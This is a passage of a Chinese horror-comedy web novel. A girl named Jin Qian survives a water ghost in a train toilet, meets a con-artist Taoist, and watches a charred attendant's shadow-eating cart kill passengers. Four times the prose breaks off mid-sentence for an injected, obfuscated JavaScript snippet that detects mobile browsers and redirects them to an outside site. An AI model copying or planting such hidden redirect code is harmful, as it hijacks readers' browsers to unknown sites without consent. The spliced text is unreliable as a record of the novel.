“那太远了,眼下就有一个新鲜的食物。”它盯着今浅。 “吃我?哈哈,很好笑的笑话。可惜我不是食材。”今浅遗憾,她的手放在门把手上,“我这里也没有新鲜的。这样,我先出去,找人帮你解决你的用餐。各种口味任你挑选……” 它也动了。 弯腰,低头,凑近今浅的手边,盯着今浅的动作。 厕所太小,它身上的霉腥味扑面而来,让人想到长满绿毛的陈年溺尸,下一秒就会拖人进入水里,让其成为溺尸的一员。 今浅不由自主地屏住呼吸。 万一细菌污染了肺部,她还得花钱治病。 “你打不开的。”水鬼说,“这里的门从来都不能被打开,这已经不是你原本来的路。” 今浅扭动门把手——果真如它所言。 “但我有办法离开。”它慢吞吞地抬头。 “苟富贵,勿相忘啊朋友。”今浅说,“我跟你一见如故,就知道我俩有着深深的羁绊,大抵是过命的交情。你分享一下出去的方法呗。” 它对上今浅的视线,说:“只要我吃了你,有足够的力量,就能出去了。” “那还是算了吧。”今浅说,“我突然想起,咱俩关系还没亲密那种地步。” “那我就只能先淹死你,再吃掉你了。”它掩面,又开始哭了。 水龙头自动开启,血水流淌。 血水储满了洗手台,滴答滴答地下流。 地上薄薄的一层血水,像红色的霜。 奇怪的是,水龙头流出的血水并未淹没今浅,今浅却觉得四周的空气有些稀薄,她不得不用力呼吸。 她的鼻腔内部充斥着窒息特有的酸胀,就像溺水。 今浅清楚,当务之急是稳住这个来路不明的水鬼,同时找线索离开厕所。 硬闯离开肯定不行。 她的名刀还在冷却,书包里的图鉴也不知道有什么作用。 【做个交易吧,用你的血,换离开的线索。】 今浅看向水鬼,水鬼没有听见这个声音。 她感到四肢无力,不得不靠在墙上。 顶上的灯光明亮,澄澈,晃得眼疼。 【我是你书包里的图鉴,你能听见我刚才说的条件吗?】 图鉴似乎很着急,不停地催促今浅答复。 “听起来很诱人。”今浅说,“但我选择拒绝。” 【?】 “书上说了,不要轻信陌生人的话。” 【我也是书啊,我要你相信我的话总可以吧。你只需要给我一点点血,就能离开了!】 “我记得,秦始皇只统一了人类世界的度量衡,但没统一书本和人类的度量衡。”今浅说:“所以,把我吸干也可以是你口中的‘一点点’吧。” 【你……好吧,我会轻一点的。】 图鉴咬牙。 它没想到,今浅居然会想到这一层。 “你先告诉我线索,我成功逃脱后,再给你鲜血,如何?” 今浅发现,这本图鉴好像比她更加着急。 那她就不着急了。 图鉴保持沉默。 “看来我俩的缘分,今日就要画上圆满的……” 【你以为我不想吗?能跟你对话已经耗费了我巨大的能量,没有力量寻找线索。】 今浅若有所思,问:“你想回复能力,只是需要血,对吗?” 【是是是,所以快点……】 水鬼仍然在哭泣,但是它的眼泪已经流干了。 它抽空抹了一把脸,愕然发现,眼前的人脱掉自己的书包,从中翻找出一本奇怪的、散发着不详味道的书籍,接着把这本书扔进了……洗手台? “你在干什么?”水鬼不悦。 今浅若有所思地盯着图鉴上的封面,说:“我在帮它进食。” “我也饿了,你为什么不先帮我?”水鬼说,“明明是我先来的。” “我之前有想要帮你,可是你拒绝了。”今浅站在洗手台前,镇定地扯开话题。 在水鬼看不见的地方,这本图鉴就像一块干海绵,疯狂吸收血水,洗手台的水位线急速下降。 水鬼沉默,大概是陷入了回忆。 【关掉灯的开关,等天亮。】 图鉴喝足后,高冷地留下几个字。 “你说的太少了,而且这些我都知道。”今浅说,“给我讲点我不知道的。” 图鉴敷衍。 【都知道啊,那就很遗憾了。谁让你给的不是你的血,而是火车厕所的自来血呢。】 今浅叹气。 果然,书上说的话不一定全真,但是会说话的书一定有假。 趁水鬼还在思考,今浅转身,伸手触碰镜子。 是一片空气。 今浅的手穿过空气,成功碰到镜子里的开关。 果然,她想得没错。 水鬼出现之前,灯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16069200|179280||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的开关被按下了。 那么想让水鬼消失,自然得再次按下开关。 方才今浅试探性地靠着墙,水鬼并没太在意,说明离她最近的开关并不会威胁到它。 在场,除了旁边的这个开关,就只有镜子里的。 今浅不敢耽搁,果断摁下开关。 没按动! 开关就像被钉死一般,无论今浅费多大的劲,开关纹丝不动。 但此举惊动了方才在沉思的水鬼。 “不——你在干什么?!快停下!放手!”身后隐隐传来水鬼的尖叫声。紧接着一股大力攥住了今浅的脖子,像是想将她拽回镜中世界。 今浅左手死死扣在开关上,不愿放开,右手扯着缠上来的枯草般长发。 她还要再等待一个条件。 “是我刚才对你太仁慈了。”水鬼冰冷的声音响起,“我应该立刻杀了你的。” 今浅咳了几声,说:“你杀不了我的。” “别装神弄鬼了!” 今浅笑了一下,说:“因为,天快亮了。” 靠边火车站位于山区,四周是起伏错落的山丘,有很多的隧道,但都不会太长。 下一秒,车身传来一声沉闷的“哐当”声,同时今浅眼前闪过一道白光。水鬼的尖叫声慢慢消逝,湮没在熙攘的日光之中。 火车出了隧道。 窗外一片明亮。 今浅猛地从蓄满水的洗手台里抬起头。 水浸湿了她额间的碎发,顺着滑落,打湿了她的衣襟。 今浅一手撑着镜子,努力平顺呼吸,视线落到不锈钢水池里。 水龙头“哗啦啦”地流淌,流出来的是正常的水。 今浅顺手关掉水龙头,看向镜子。 脖子,手臂……这些她分明记得遭受过伤害的地方,此刻伤口荡然无存,好似镜子里的人不过就是洗了一把脸。 刚才经历的一切,难道都是错觉? 今浅翻找自己的书包,书包里面安静躺着那本图鉴。 她翻开图鉴,图鉴没有被血水浸泡过的痕迹,也没有找到会说话的装置。 “查票了!里面的人快出来。”检票员敲着门。 “来啦。”今浅喊了一声,一手摸索口袋里的车票,另一只手拧开门锁。 检票员接过票,看了一眼后,刚想离开,却被今浅叫住了。 “等等,乘务员姐姐。” 检票员诧异回头。 今浅有点歉意地指着自己身上的水渍,说:“我刚才不小心把厕所的水龙头弄坏了,它现在好像出水太猛。您能挂一个‘正在维修’的牌子在这里么?” 今浅虽然不确定刚才是否是她的幻觉,但是为了安全起见,她还是决定不要让别人误入这间厕所。 乘务员意外地瞅了一眼洗手台,想了想,说:“行吧,我等会儿挂上。” 今浅转身离去,但被乘务员叫住了。 “等等,你的发绳掉了。”乘务员捡起地上的发绳,递给今浅 今浅谢过乘务员,顺手扎起头发,而后微笑与乘务员挥手告别。 “高手,你出来了。”陶依不知从哪里冒出来,眼巴巴地跟在今浅后面。 陶依看见,今浅的脖子后面,有一个红色的眼纹。 “怎么了?”今浅疑惑。 “没事。”陶依笑着说。 5. 第 5 章 今浅停下脚步,看着陶依。 “怎么了。”陶依不解。 “你的蝴蝶结歪了。”今浅抬手,把陶依戴着的蝴蝶结扶正,说,“这样看起来就顺眼多了。” “……没想到你还有强迫症。”陶依吐槽,像是突然想起什么,说,“你先回包厢吧。我有点饿,先去餐厅车厢了。” 陶依离开,今浅只能独自一人回去。 回包厢的路很安静,每个床的床帘都拉得厚实,一眼望去,就像整齐罗列的蓝箱子。 今浅不由得放轻脚步,找到自己所在的包厢。 出乎意料的是,两人包厢里的小桌子旁,正坐着一个穿道袍的人。一个高大的男生正站在旁边,跟闭着眼的道士论理。 道士看起来三四十岁,一手拿着几串铜钱,另一只手摇着羽扇,打扮得道行高深,看起来拥有着丰富的驱魔经验。 而男生很年轻,面庞棱角分明,碎发漆黑。 一见到两人,道士便严肃地朝今浅招手,说:“来,咱今日有缘,我给你算一卦。” 今浅正欲抬脚朝他走去,那位男生连忙拦住她,说:“诶,你等等,这个半吊子的道士是骗子。” 今浅刚想说话,道士拍了拍桌子。 “你这人怎么说的?”道士吹胡子瞪眼,说,“我刚才可是给你好好算了一卦,沾染的因果用你的小钱交换了。再说了,这卦象不都灵验了嘛。” “是,我接着问你如何化解,你却说我会有贵人相助,至于贵人是谁,就是是另外的价钱。”那位男生冷哼一声,“我这才知道,原来贵人的贵,是有钱的意思啊。” “这是因果。我收款时不小心多打了个0,也只是是命中注定的结果。” 眼见着男生又要炸了,今浅连忙出来圆场,对男生说:“就当作买了个亏,吃一埑长一智,反正是小钱。书上说了,多一事不如少一事。” “他这一卦算了我二十万。”男生说。 “那确实过火了。”今浅不赞成地说。 她顿了顿,看向男生,真诚发问:“话说,现在还能骗你钱……哦不,我是说,交换因果。或者……还支持这种转款多打个0的活动吗?” 她没什么别的目的,只是单纯觉得,这份钱还挺好领的。 “虽然我叫闻啼,可不代表我真的有问题。”闻啼幽幽地说。 今浅遗憾。 道士扯开话题,扇子指向今浅,说,“小施主,我梁团今日一见你,就知道你印堂发黑,想必今日有着血光之灾。” “他刚才也是这么对我说这些套话的。”闻啼冷笑,“你不会真的相信了吧……” 今浅说:“天啊,你可真是大师!那我该怎么做。” 闻啼:…… 梁团满意地点头,快速调出手机的二维码,说:“v我5元,听这后续。” “等等,为什么给她的价格这么优惠?”闻啼震惊。 “因为她看起来就没多少钱……哦不,我指的是,她的因果很浅。”梁团差点说漏嘴,连忙清了清嗓子。 “我好像没这么多钱。”今浅说,“能赊账吗?等我有钱了,我再还你。” “嘶,5块的心意钱都没有啊,这就棘手了。”梁团动作一顿。他放下手机,手随意一掐,眉头一松,说:“啊,我又算了一卦,突然发现,你的血光之灾只是假象。” “嗯?”今浅一愣。 他站起来,抚平衣服的褶皱,告辞:“再见,我去寻找下一个有缘人了。” 今浅起身相送梁团,两人从包厢客套到走廊,最终以梁团直接道出今浅并非有缘人为止。 今浅在走廊送别梁团大师的背影。 “这哪是有缘?这是去找下一个冤大头吧。”闻啼吐槽,回头看见今浅仍然沉思,不由得感叹,“还是你脑子灵活啊,竟然能想出这样的借口。” “啊?”今浅说,“可是我是真的没有这么多钱。” 正说着,她的肚子不合时宜地响了。 闻啼:…… “我们要在火车上呆3天的。”闻啼暗示。 “是的,我是真没钱吃饭了。”今浅放下书包,说,“不过没关系,我接下来可以只喝水。反正只是三天,开水间的开水也是免费的。等我进城了,就可以打工,赚钱了。” 她脸上虽然没有太多表情波澜,但是闻啼却不知为何,从中看见了她的无奈,哀伤和坚强。 他不由得脑补出今浅缩衣节食,只为了进城打工,甚至上有卧病在床的父母,下有嗷嗷叫的弟弟妹妹,而眼前这位女生坚强地支其破碎家庭一片天,内心不由得动容,心生怜悯。 闻啼心想:也是啊,毕竟这个火车经过的靠边站确实人烟稀少,非常偏僻。 看样子,今浅家可能真的很穷。 眼见今浅真的不知从哪里掏出一个水杯,正有去开水间打水的阵势,闻啼慈爱地出声:“算了吧,这三天,我请你吃。” “这多不好意思。”今浅说,“你刚亏了20万呢。” 闻啼只觉心被扎一刀,他嘴硬:“没事,那些钱就当作花钱消灾吧。” “真的不用了。”今浅说,“我经常在乡下干活,身体好得很。” “我说请你就请你。”闻啼大手一挥,“来,现在,我们就立刻去餐厅车厢。” 今浅本想拒绝,但突然想起陶依在餐厅车厢。 话说,刚才梁团那个道士离开的方向正是餐厅车厢的方向。 陶依毕竟是孤身一人,万一被骗了,就不太好了。 “好吧。”今浅顺便掏出手机,说,“我们交换个联系方式吧。等我有钱了,我就把钱还你。” 两人一路来到餐厅车厢,还没进车厢,就见到一个西装革履的男人正站在中央,声音春风得意,向众人夸夸其谈。 “刚才啊,我找大师算了一卦,据说,今天我会在这间车厢里,能找到一个人傻钱多的大客户,拥有终身的饭碗。”西装男得意地说,“只有我,顶庆,这种开单的销管,才能说得上销售界的成功人士。” 他听见门口有动静,连忙扭头,看见来着是闻啼和今浅后,凑上前去,笑眯眯地说:“诶,你们要不要来办张卡。有优惠的哦~” 顶庆自然地说了一大串套话,显然已经形成了肌肉记忆。 “哇,听起来好好。”今浅只听到了什么十万,什么百万的,不由得感叹,“可惜我没多少钱。” “好吧,看你们打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16069201|179280||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 扮,也确实像没有经济实力的大学生。”顶庆打量两人片刻后,叹气,说。 “是的,我是大学生。”闻啼绝口不提经济实力。 “我刚高考完呢,准备进城打工赚钱。”今浅环顾四周,周围零零散散坐了三四个人,没看见陶依,有些好奇:“你怎么没去找他们呢?” “哎呀,别提了,我要找的是大客户。”顶庆压低声音,凑到俩人之间,吐槽道,“你看那个在吃泡面的,胡子邋遢的白领,他叫冯涛。我跟他聊了几句,就套出了他工资三千一个月,还没有五险一金。 旁边懒懒散散,趴在桌子上睡觉的那个男的,谭迟,好像是个法医。法医工资也高不到哪里去。 那个扎着麻花辫的张兰兰,也只是个回家探亲的普通女人,如果真有钱,也不会拿着自己做的馒头来这里加热吃。 最后那个范肖,就是那个角落里缩着的人,一看穿着,就别提了。” “哇,大哥,你怎么做到看人这么准的?”闻啼配合。 顶庆一听来劲了,跟闻啼唠嗑,只觉一见如故,到最后甚至把心声都像倒黄豆般倾泻而出。 顶庆感叹:“说真的,好久都没见到像你这么懂我的人了。要不是条件不允许,我都想把你带入行的。” “是跟顶哥你投缘。”闻啼说,“谁让我们不是一个站下的呢。” 两人齐刷刷地叹气:“唉。” “你们,有没有闻到一股烧焦的味道?”今浅突然出声。 “这个搭话的套路,是我那个时代的,你已经out了。”顶庆说,“我猜你下一句是——那是我的心,在为你燃烧。” “不是……额,不过你这么说,可能也算?”今浅看向某个方向,说,“只不过,它的心好像燃尽了。” 闻啼和顶庆:……? “哐镗”。 小推车的车轮滚过地毯。 “卖……零食……了……” 沙哑的,诡异的叫卖声响起。 餐车的尽头出现了一个乘务员,它浑身焦黑,就像一个行走的焦炭人,身上的乘务工作服有着烧焦的痕迹,走起路来,身上嘎吱作响。 四周不再是方才光鲜亮丽的餐厅火车包厢,而是破败,萧条,在他们没察觉到的时候,爬满了漆黑的烧焦的纹路。 它来到离它最近的人面前,盯着它,说:“卖……零食……了” 火车不知何时,进隧道了。 ** 梁团刚给顶庆算完一卦,又赚了一笔。 他低头看手机余额,没注意到自己推开的厕所门,正挂着“正在维修”的黄牌子。 厕所空间狭窄,窗外一片漆黑,顶上的灯泡冷白,就像泡发的断指。 梁团并没在意。 他蹲在坑上,自顾自地乐呵,突然听见一道敲玻璃的响声。 “咚……咚……咚……” 响声很轻,就像梁团此刻微弱的呼吸声,不是从窗外传来,更像是室内有东西在响。 梁团顿了顿,寻找着声源。 视线最终落到了镜子上。 从这个的角度,梁团只看见了白茫茫的墙壁。 “是谁。”梁团说,“在轻轻敲打我窗。” 6. 第 6 章 列车突然多了一个焦炭乘务员。 然而,在场的人都像是没看见一样,埋头做着自己的事情。 “没事,别慌。”顶庆小声说,“这应该是列车的特色服务。” “你怎么知道?”今浅看向顶庆。 “刚才列车进隧道的时候,这个乘务员就出现了,卖的是早餐。”顶庆想了想,说,“小笼包,六毛。肠粉,三毛。热干面,5毛。” “这么便宜?”今浅心动。 “嗯,不过我瞧着挺便宜的,怕有问题,就没理他,也没买。毕竟我有病。”顶庆小声说。 今浅说:“怎么好端端的突然骂自己。” “是饼!能吃的那种饼!不是病!!”顶庆说,“但我觉得,那些吃的确实不太正常。范肖……就是角落里那个人,就他买了早餐。吃完后,他趴在那里,一直一动不动。” 话虽如此,顶庆心里隐隐不安。 虽然范肖可能只是睡过去了,但是,熟睡的人可能不会打呼噜,但总不可能连呼吸带动身体的起伏也消失得一干二净吧。 “如果我的猜测没错的话,你应该庆幸,自己没有买。”闻啼突然开口。 “什么意思?” 今浅看向闻啼。 闻啼不再说话。 他的神情凝重,视线落在焦炭乘务员询问的对象。 是正在啃馒头的张兰兰。 面对焦炭乘务员,张兰兰有些局促不安,下意识捂住口袋。 但焦炭乘务员只是介绍价格,没做其它事情。 张兰兰面容微动。 “零……食……”焦炭乘务员说的话就像生锈的轮轨,一字一句带着沉钝的停顿,“泡……椒……爪……1毛1袋……牛……肉干……3分……” “这么便宜啊……”张兰兰正准备掏钱,却听见身后传来一道声音。 “书上说了,贪小便宜吃大亏,不贪便宜不上当……当然,我说的是游戏充值。” 张兰兰回头,一个学生模样的女生正撑着下巴,跟旁边的人侃侃而谈。 坐在一旁的销售她知道,没挣多少钱,还老喜欢炫耀。 张兰兰一来这间车厢,就听见他到处嚷嚷,吵得像蚊子。 女生旁边的男生倒长得很俊俏,就像电视上的明星。此时男生问:“为什么这么说呢?” 女生没注意到张兰兰的视线,只是一个劲儿地叹气:“唉,这不是游戏抽皮肤嘛。我本不打算买皮肤,但看它的公告写着,唯一一次限时特价,买十□□五抽,我就心动抽皮肤。” “听起来很优惠,可你怎么这么难过?”男生不解 “我抽到大保底了,花了一个月的生活费。然而半个星期后,游戏莫名停服,游戏厂商拿钱跑路。我亏了生活费,买的游戏皮肤烂在服务器里,还浪费了好心情。”女生说。 “好家伙,本以为是厂商的良心大发,原来是要割最后一波的韭菜。”男生在旁扼腕叹息。 女生说:“是啊,要是当时,我对这便宜视而不见,没起贪心,也就不会损失这么惨重了。” “这下可谓是赔了夫人又折兵。”男生很配合,跟着叹气。 他们的话很明显,那就是在告诉张兰兰,面前的“便宜”很有可能是陷阱。 “我可是坐过火车的,可是知道往日火车上的东西贵得很的。”张兰兰不屑地瞥了一眼他们,意有所指,说,“我可不像某些人,假装劝别人不买,实际上心里想的,是把这些东西全部买完。” 身后的人不再说话。 “能不能便宜一点啊。”张兰兰假装挑剔,不耐烦地说,“这些肉看起来,都不新鲜。” “你要……新鲜的……”推着小推车的焦炭人漆黑的眼眶落在张兰兰身上。 张兰兰心里发怵,她隐约有种不好的感觉,但这种感觉终究无法战胜对眼下优惠的渴望。 “是啊,你怎么这么磨蹭……”张兰兰不耐烦地伸手,想那小推车里的零食。 焦炭人没有阻拦,只是在笑。 它的笑声很奇怪,就像尖锐的刀尖互相摩擦。 “呵呵……真巧……”它突然说得很流畅,“我也想要新鲜的。” 张兰兰莫名愈发慌张,怯意突然萌发,她收回手,说:“算了我不要了。这点破东西,谁稀罕啊?” “已经晚啦。” 今浅看见了,焦炭人没有说话。 说话的是它推着的小推车——或者说,那不只是小推车。 小推车的“影子”处,趴着还一只外表漆黑,正张开嘴的方形怪物,不仔细看,怪物几乎和小推车融为一体。 五颜六色的零食包装上面呈现不自然的光泽,看仔细点,会发现它们在慢慢蠕动,就像像素游戏里动态的盆栽。 很明显,那是怪物伪装成零食的舌头。 “啊——”张兰兰面带惊恐,慌乱起身,拔脚就像离开,可是她的双脚就像生根一样,扎在地上一动不动。 张兰兰低头,愕然发现自己的影子不知何时多了一只黑色的手。 那只手抓住她影子的腿,张兰兰却也跟着不得动弹。 那只黑色的手,尽头是小推车影子里的怪物。 “嘻嘻,找到你啦!” 怪物迫不及待地啃下一口影子的腿。 张兰兰发出惨痛声。 “不要……不要……我不买了……别吃我……” 张兰兰颤抖地求饶,她猛地回头看向刚才提醒她的那几个人,向他们伸出手,哀求道:“救我……快救我……我不想死……啊!!” 然而他们无动于衷。 车厢内只有怪物啃食影子,和张兰兰逐渐微弱的呼救。 最终,焦炭乘务员把张兰兰完整但毫无呼吸的尸体,扔进了小推车里。 今浅垂眸。 “我们已经尽力了。”闻啼拍了拍今浅。 “等等,不要和它搭话,这个条件是怎么得出的。”顶庆急忙问今浅,“你是怎么知道这个条件指向死亡的?” “啊,因为这价格确实很优惠,可我没钱,这真让人烦恼。”今浅说,“书上说了,眼不见为净。只要我不去看这个优惠,我就不会心生烦恼。” 世界上最痛苦的事,莫过于看着福利走向自己,自己却无能为力。 顶庆震惊,他刚想追问什么,就见闻啼做了个“噤声”的手势,随即指了指那只“怪物”。 那只怪物结束进食,回到小推车。 焦炭乘务员像是重新启动了程序般,把车推到了他们的面前。 “要……零食……” 顶庆急忙做口型:我们,现在,怎么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16069202|179280||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,离开? 闻啼摇头。 今浅示意顶庆不要出声。 没人搭理焦炭乘务员,小推车里的怪物却坐不住了。 “奇怪,我明明闻到了人类的味道,可是他们为什么不说话?”怪物不耐烦起来,舌头几乎放弃了零食的拟态,拉长,伸张,从地板开始,漫无目的地搜寻。 好几次,舌头差点就碰到顶庆。 顶庆吓得止不住哆嗦,差点就叫出声。 好在怪物的舌头长度有限,再加上今浅等人没出声,它找不到今浅等人的位置。 “可恶,可恶,可恶……”怪物尖叫,“好饿,好饿,好饿……” “根本不够吃!根本不够吃!” “必须得赶在它出来前,多吃几个人类!” 然而焦炭乘务员没能等到今浅他们的回复,便默认没人,准备推车离开。怪物无能狂怒,但又无可奈何。 今浅等人松了口气。 就在小推车半个身子离开餐厅车厢时,门口突然传来一道声音。 “咦,今浅,原来你在这里呀。” 是陶依。 今浅猛抬头,只见陶依满脸惊喜,拎着一袋小笼包,正乐呵呵的,准备朝她跑来。 “我给你买了一袋小笼包,刚才我尝了一个,可好吃了。” “不要过来。”今浅厉声说。 陶依一脸迷茫,但听话地停下脚步。 只要她再往前走一步,就进入了餐厅车厢。 “人类!” 寄宿在小推车上怪物狂喜。 它顾不得拟态,以最快的速度往声音的方向逼近。 它一一辨认路过的所有影子。 桌椅…… 桌椅…… 怎么都是桌椅? 刚才的人呢? 怪物愣了。 下一刻,小推车离开了餐厅。 “还是你们比较机灵。”顶庆从桌子底下钻出来,抹了一把额头上的冷汗,后背发凉。 刚才,陶依出现的时候,今浅出声提醒,而闻啼麻溜地把他给塞进桌底。 顶庆还没反应过来,今浅也蹲进来了。 窄小的火车餐厅桌子并不能容纳三个人。可好在刚才的怪物太过心急,没有仔细搜查,这才给了他们可乘之机。 “我刚才是不是差点害了你们啊?”陶依反应过来,面色发白,“对……对不起,我不是故意的。” “还好我们没事,暂时。”今浅看向窗外,窗外仍是黑暗。 似乎只要进入隧道,这些灵异鬼怪就会出现。 不巧的是,这座山很大,隧道会很长。 后面还会有什么在等着他们? 今浅沉思时,其他人也都围在她旁边,包括刚才的没加入他们谈话的谭迟和冯涛。 “你们怎么来了?”顶庆意外。 闻啼说:“没关系,人多力量大,说不定能想到新的方法。” 冯涛有些内敛,只是向众人点头。 谭迟则望向一个地方,突然开口:“不过,一直呆在贯通道的那位,难道不打算进来吗?” 众人一惊,顺着他的视线,看向贯通道。 那里是焦炭乘务员出现的地方。 此时,这里一片漆黑,他们隐隐能从中看见人影。 7. 第 7 章 黑暗里的动静消失了,人影微微晃动。 是梁团。 他依旧穿着那身道袍,只是道袍沾了一些水渍,手上的几串铜钱也不见了。 “是我。”他说。 火车驶出了隧道,但周围像是被烧焦的景象仍未改变。 梁团小跑过来,见大家神情凝重,下意识放慢脚步。 “你刚才有没有遇见奇怪的事?”谭迟开口。 “什么奇怪的事?”梁团不解。 陶依也一脸茫然。 “焦炭的乘务员,吃影子的怪物。”今浅看着两人,问,“难道你们一个都没见到吗?” 陶依摇头,说:“我一来到这个车厢,就听见你让我不要过来。紧接着,你们就一脸古怪地凑在一起。” 梁团眼珠子一转,顿时面容严肃,说:“不得了了,老夫我掐指一算,你多半是招惹到了不干净的东西。” “什么?”顶庆还没来得既反应,就见冯涛抢他一个身位,凑近梁团。 冯涛翻遍整个口袋,凑出了几张票子,不顾梁团假意推脱,塞进梁团手中,声线颤抖:“求你了大师,我上有老下有小,全都只靠我挣钱……您放心,只要能让我离开,多少钱都可以。” “他是骗子,刚骗了其他人的钱……”今浅劝道。 “不,你错了。”冯涛摇头否认,怜悯地看着今浅,说,“你肯定是没见过有钱人。我公司的老板就经常花重金请高人来指点他家的风水。如果大师没用,那么老板为什么要花钱请呢?” “可是不一定所有大师都是真的。”今浅说,“你家老板请的大师就是他吗?” “咳咳,鄙人不才,但是百分之八十的客户,都是上市集团的老板。”梁团清了清嗓子,说。 冯涛一咬牙,祈求道:“大师,求你救救我吧。” “天机不可泄漏。”梁团丝滑地收钱,随手掐了几个手势,故作高深,说:“不过,我算到,这也不是不能化解——你得多给我点因果,加深你我两人的能量,我们进行深度地链接,才能成功化解。” “说得真好听,但你也不想想。”闻啼冷笑一声,说,“如果他真的能成功化解,或者说,他真的能算对,他怎么可能会跟我们一样,登上这班火车呢?” “你……你这年轻人,怎么说话的?”被戳中心事的梁团恼羞成怒,吹胡子瞪眼,说,“我不帮你们了。” 他下意识喊:“范肖,我们走!” 此话一出,全车厢一片寂静,大家面面相觑。 “范肖?!”梁团又大喊一遍。 依旧无人回应。 “是他吗?”今浅指着角落一直趴着的人,问,“他好像睡着了。” “……你俩认识?”顶庆震惊,反应过来后震怒,“你俩合伙骗我的钱?!我还真的相信了你!” 冯涛闻言,脸色骤白。 “冷静,冷静……确实是他的托。”闻啼拦住挥拳的顶庆,顿了顿,说,“我交完钱后,才知道他俩是表兄弟的关系!” “不是!”梁团矢口否认,但眼珠子乱转,一副心虚的样子。 见顶庆和冯涛脸色骤变,他大步流星走到范肖旁,一边推他,一边催促道:“范肖,别睡了,范肖……” 梁团本以为,范肖会醒来。 然而范肖却顺着梁团的力道,跌倒在地上。 车厢内沉默片刻,瞬间爆发出剧烈的尖叫声。 “啊——” 梁团吓得瘫倒在地,手指指着范肖,半天说不出一句话。 “呕——” 冯涛和顶庆没忍住,直接趴倒在地干呕。 陶依捂嘴,躲在今浅身后。 今浅也被眼前的惨案惊得倒吸一口凉气。 范肖整个人都被掏空了,现在只是一副带着装满血管的皮囊,橙黄的肤色下,隐约可见缓缓流动的血液。 一片慌乱中,今浅站出来主持大局。 今浅说,“大家先不要动尸体。书上说了,这种情况要找专业人员。” “对,专业人员……” “这么干净的手法已经很不多见了。只要擅长料理尸体的专业人士才能分析出来。” 今浅的专业让一向懒散的谭迟侧目。 “你还挺聪明的,知道料理尸体这个专业名词。”谭迟意外。 “只是博览众书而已,不值一提。”今浅低调地谦虚一番,环顾众人,问,“至于专业人士嘛……我们之间,有谁是厨师?” “那就很专业了。这厨师可真刑,开展这么露.骨的业务。”闻啼说,“你说的专业人士叫法医。” “法医也吃尸体?”今浅一愣,惊讶地看向谭迟。 “法医会吃牲畜和植物的尸体,但不会吃人的尸体。”谭迟扶了扶眼镜,为自己澄清道,“不是每个法医都是汉尼拔。” 至少,他不是。 “我们明明是在火车上,怎么突然,这个火车就变成这样了?”陶依害怕,“还有你们刚才嘴里的怪物……这是什么情况?” 今浅沉吟片刻,说:“据我推测,我们应该是进入了怪谈世界。” “什么?怪谈世界?”顶庆难以理解。 其他人面面相觑。 今浅点头,说:“我也只是从书上看来的。” 她简单地讲了她所知道的信息。 今浅见大家神色各异,看向某一处。 她说:“你应该知道的信息比我们要多。” 大家一怔,顺着她的视线看过去。 是闻啼。 闻啼顿了顿,干脆地说,“我确实被选中过一次。据我观察,怪谈世界有白天和黑夜。在白天,怪谈里的鬼怪会沉睡,我们相对安全;但在晚上,它们就会苏醒,进行狩猎。” “可是刚才那些鬼怪,在天亮的时候也准备吃我们。”冯涛说。 虽然他们现在身处漆黑的隧道,但外面天还是亮的。 “可能是因为怪谈世界的天亮和天黑与现实不同。”今浅回想刚才经历过的事情,说,“在这里,只要我们进隧道了,怪物以为猎杀时刻开始,便准备吃人。” “你是怎么发现我的?”闻啼好奇。 “其实我说的不是你。”今浅指了指他的背后,“书上说了,戴眼镜的人,一般不是近视,而是为了掩盖自己的真实身份。” 闻啼:…… 闻啼回头,是谭迟。 谭迟扶了扶眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16069203|179280||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 镜,干脆点头,说:“是的。我成功离开后,获得了能力,名叫大胆。” “难道是那种,只要你喊出‘大胆’两个字,所有的怪物都会跪下来喊:‘大王饶命’吗?”今浅说,“就像游戏里的群控技能,这个能力真厉害。” “很遗憾,我的能力很鸡肋。”谭迟插兜,淡定地说,“顾名思义,‘大胆’只能让我变勇敢。所以面对刚才的鬼怪时,我不仅面上云淡风轻,心里也云淡风轻。” “……我还是去打110。”跌倒在地的梁团听着几人的对话逐渐偏离科学能解释的范畴,神情恍惚。他上下翻找口袋,颤抖着掏手机。 